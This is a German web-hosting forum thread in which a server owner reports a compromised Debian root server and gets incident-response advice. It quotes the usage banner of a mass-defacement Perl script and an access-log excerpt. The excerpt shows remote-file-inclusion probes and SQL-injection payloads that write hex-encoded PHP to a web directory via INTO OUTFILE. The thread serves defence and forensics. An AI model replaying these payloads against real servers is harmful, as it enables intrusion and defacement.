Server kompromitiert

D

DrRamazzotti

New Member
Hallo,

habe das Problem das einer meiner root-Server (Debian) scheinbar kompromietiert wurde.
Habe im Dateiroot eine Datei [mass.pl] gefunden.

Leider finde ich im Internet nur unzureichende Infos darueber.

Hat hier jemand Informationen darueber?

Mein Support im RZ ist leider mit Infos sehr spaerlich und wollen immer nur Ihren Service verkaufen.

Danke!
 
Hallo!
Wie sieht denn der Inhalt dieser Datei aus? Welche Funktion hat das Script?

mfG
Thorsten
 
Du solltest den Server sofort abschalten, da er damit aus der Ferne missbraucht werden kann.

Nach Möglichkeit, solltest Du ihn in der Rettungsumgebung starten und eine vollständige Datensicherung der Festplatte durchführen, um diese später analysieren und den Einbruchvorgang rekonstruieren zu können. Außerdem ist es hilfreich den Tathergang "beweisen" zu können, falls Forderungen Dritter (durch DDOS-Attacken, SPAM-Versand, etc., die über Deinen Server erfolgt sein können) auf Dich zukommen sollten. Zudem schadet es nicht, eine "Anzeige gegen Unbekannt" zu erstatten. Frag am besten einen Rechtsanwalt Deines Vertrauens zu den Details -- der kann Dir auch sagen, wie mit den Beweismitteln zu verfahren ist.

Nachdem Du das alles geklärt hast, führst Du eine komplette Neu-Installation des Betriebssystems durch, da Du nicht weist, was alles kompromittiert wurde. Daten aus Backups darfst Du nur nach sorgfältiger Prüfung weiter verwenden, wenn Du sicher bist, dass sie nicht die Schwachstelle enthalten, die für den Einbruch verwendet wurde und und nicht bereits kompromittierten Code (->Backdoors, etc) enthalten, den die Einbrecher vor dem Erstellen des Backups eingebaut haben.

Viel Glück!
 
Hallo,
das ist eine gute Frage.
Auf jeden Fall hatte ich hohe Last auf dem Rechner mit "nice"-Prozessen. Hatte idesen eigentlich Spamassassin zugeordnet.

Hier die Datei:
###################################################
rescue:~# vi /mnt/mass.pl
^[[31m=-=-=-=-=-=^[[m
^[[36mInfo:^[[m
^[[33m-d^[[m ^[[31m=^[[m ^[[33mDiretory that We Want be Massdeface^[[m
^[[33m-f^[[m ^[[31m=^[[m ^[[33mfile name that u want to attack for mass deafce^[[m
^[[33m-n^[[m ^[[31m=^[[m ^[[33mlocation of attacker deface page.^[[m
^[[36mExemplo:^[[m
perl /var/www/vhosts/rid2007.de/httpdocs/uploads/mass.pl.pl ^[[33m-d^[[m /www ^[[33m-f^[[m index. ^[[33m-n^[[m /tmp/index.html
^[[31m=-=-=-=-=-=^[[m
~
###################################################

Gruss Bernhard
 
Hallo LinuxAdmin,

ja der Server ist vom Netz. Er hatte sich in letzter Zeit immer wieder beim BackUp aufgehaengt und ist zuletzt dann gar nicht meht gestartet.

Kannst Du mir sagen, wonach ich suchen muss? Allein /var/www ist ca. 1GB-Daten. Sich da manuell durchzuwuehlen wuerde eine Lebensaufgabe.

Gruss Bernhard
 
Hallo

weitere Frage:
Aktuell faellt mir folgendes ein:
Um spamassassin (SA) zu trainieren sende ich SPAM an eine dafuer eingerichtete EMail-Adresse.

Jetzt erinnere ich mich, dass vor einigen Wochen beim Versand Avira AntiVir bei mir lokal bei einer Mail angeschlagen ist.
Da ich davon ausgehe, dass SA nur den Inhalt analysiert sehe ich darin keine Bedrohung. Oder irre ich mich darin?

Danke fuer eine offene Diskussion!
LG Bernhard
 
Das Script deutet eher auf Script-Kiddies hin. Seinen Ursprung hat es wohl im Iran, man findet es allerdings in vielen Foren -- entgegen der ersten Annahme eignet es sich nicht zur Fernsteuerung.
Da es es aber im /-Verzeichnis befindet, bedeutet es, dass die Einbrecher root-Rechte erlangt haben. Neben schwachen Passworten stellen schlecht programmierte PHP-Scripte ein häufiges Einfallstor dar. Suche daher in den Apache-Logfiles nach Unregelmäßigkeiten. Weiterhin wäre zu klären, welcher lokale root-Exploit angewendet wurde. Vielleicht findest Du was in den Logfiles -- vielleicht wurden die Spuren aber auch getilgt. Wie Du schon fest gestellt hast, ist die Suche sehr mühsam. Falls Du nichts findest, solltest Du das ganze an einen Profi abgeben, falls Forderungen auf Dich zu kommen.

Auf jeden Fall solltest Du nach der Neuinstallation darauf achten, dass zeitnah immer alle relevanten Security-Patches installiert werden und vorallem alle installierten aktiven Inhalte (PHP/usw... -Skripte) sicher programmiert sind; d.h. Du musst jedes einzelne überprüfen. Zu den Kriterien, wie man ein Skript sicher macht, liefert Dir google und die Forensuche sicherlich Anhaltspunkte.
 
Hallo!
Wo kann ich mir den Inhalt / das Script denn einmal ansehen (mass.pl.pl)?
Bitte mal ein cat /var/www/vhosts/rid2007.de/httpdocs/uploads/mass.pl.pl. Und warum sieht der Inhalt der ersten Datei so vergurkt aus?

mfG
Thorsten
 
Hallo Thorsten,
hier das cat

rescue:~# cat /mnt/mass.pl
=-=-=-=-=-=
Info:
-d = Diretory that We Want be Massdeface
-f = file name that u want to attack for mass deafce
-n = location of attacker deface page.
Exemplo:
perl /var/www/vhosts/rid2007.de/httpdocs/uploads/mass.pl.pl -d /www -f index. -n /tmp/index.html
=-=-=-=-=-=
rescue:~#

Warum es so vermurkst im VI aussieht kann ich leider nicht beurteilen
Auf jeden ist die Darstellung bei cat farbig.

Beste Gruesse Bernhard
 
Hallo!
Das ist leider nochmals die Datei aus dem Rootverzeichnis. Ich wollte /mnt/var/www/vhosts/rid2007.de/httpdocs/uploads/mass.pl.pl sehen.

mfG
Thorsten
 
Hallo Thorsten

habe nun /var/www durchsucht bin aber auf keinen Treffer gestossen.

Muss mir nun dann doch mal die Logs ansehen.

Gruss Bernhard
 
Hallo,

ob es mit der Datei zusammenhaengt kann ich aktuell nicht sagen aber ab dem naechsten Tag hatte ich im Access.log eine grosse Anzahl an folgenden Eintraegen:

Dort scheint jemand eine Schwachstelle gesucht zu haben. Eine Datei jatest2.php habe ich im Verzeichnis nicht gefunden.

EDIT:
Es scheint aber auch erfolglos gewesen zu sein:
[22:44:55] 404 /jatest2.php

Gibt es einen Weg automatisiert ueber solche Ereignisse informaiert zu werden?
Ist es denn wirklich notwendig, dass man sich Tag fuer Tag durch log 'quaelt' um solche Auffaeliigkeiten zu entdecken?

Hier das Log beginned mit:
Code: 
22:21:24]     /index.php?PHPSESSID=http://rabotnitsa.ru/joomla__/administrator/backups/arim/talexe/
[22:21:26]     /index.php?PHPSESSID=http://honamfishing.co.kr/phpmysqladmin/libraries/nov/omozome/
[22:21:27]     /index.php?PHPSESSID=http://honamfishing.co.kr/phpmysqladmin/libraries/nov/omozome/
[22:21:28]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496'
[22:21:29]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496 union select 0x6A7573745F615F746573745F315F305F305F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:30]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496 union select 0x6A7573745F615F746573745F315F305F305F305F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'
[22:21:31]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496) union select 0x6A7573745F615F746573745F315F305F315F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:32]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496)) union select 0x6A7573745F615F746573745F315F305F325F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:34]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496' union select 0x6A7573745F615F746573745F315F73696E676C655F305F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:35]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496') union select 0x6A7573745F615F746573745F315F73696E676C655F315F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:36]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496')) union select 0x6A7573745F615F746573745F315F73696E676C655F325F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:37]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496" union select 0x6A7573745F615F746573745F315F646F75626C655F305F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:38]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496") union select 0x6A7573745F615F746573745F315F646F75626C655F315F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:40]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496")) union select 0x6A7573745F615F746573745F315F646F75626C655F325F646173685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E into outfile '/var/www/web7/html/jatest2.php'-- 
[22:21:41]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496/**/union/**/select/**/0x6A7573745F615F746573745F315F305F305F736C6173685F315F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E/**/into/**/outfile/**/'/var/www/web7/html/jatest2.php'/*
[22:21:42]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496)/**/union/**/select/**/0x6A7573745F615F746573745F315F305F315F736C6173685F315F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E/**/into/**/outfile/**/'/var/www/web7/html/jatest2.php'/*
[22:21:43]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496))/**/union/**/select/**/0x6A7573745F615F746573745F315F305F325F736C6173685F315F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E/**/into/**/outfile/**/'/var/www/web7/html/jatest2.php'/*
[22:21:45]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496'/**/union/**/select/**/0x6A7573745F615F746573745F315F73696E676C655F305F736C6173685F315F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E/**/into/**/outfile/**/'/var/www/web7/html/jatest2.php'/*
[22:21:46]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496')/**/union/**/select/**/0x6A7573745F615F746573745F315F73696E676C655F315F736C6173685F315F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E/**/into/**/outfile/**/'/var/www/web7/html/jatest2.php'/*
[22:21:47]     /index.php?PHPSESSID=bd2fdd7c35211fcd2254c3f29c5d3496'))/**/union/**/select/**/0x6A7573745F615F746573745F315F73696E676C655F325F736C6173685F315F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F7661722F7777772F776562372F68746D6C2F6A6174657374322E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E/**/into/**/outfile/**/'/var/www/web7/html/jatest2.php'/*
#########################################################
 
Last edited by a moderator:
You must log in or register to reply here.
Back
Top